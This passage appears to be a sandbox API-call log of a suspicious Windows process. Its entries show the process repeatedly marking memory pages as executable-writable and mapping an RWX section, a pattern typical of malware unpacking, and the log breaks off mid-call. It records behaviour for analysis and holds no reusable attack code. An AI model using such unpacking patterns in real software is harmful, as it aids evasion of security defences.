NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.773] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.799] NtCreateSection (in: SectionHandle=0x1eb8ed18, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x1eb8eab8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x1eb8ed18*=0x350) returned 0x0 [0347.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.883] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.053] NtMapViewOfSection (in: SectionHandle=0x350, ProcessHandle=0xffffffff, BaseAddress=0x1eb8ed1c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8eab8*=0x2ca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8ed1c*=0x1c0000, SectionOffset=0x0, ViewSize=0x1eb8eab8*=0x2d000) returned 0x0 [0348.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x401000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x401000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x402000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x402000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x403000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x403000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x405000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x405000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x406000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x406000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x410000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x410000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x411000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x411000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x412000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x412000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, 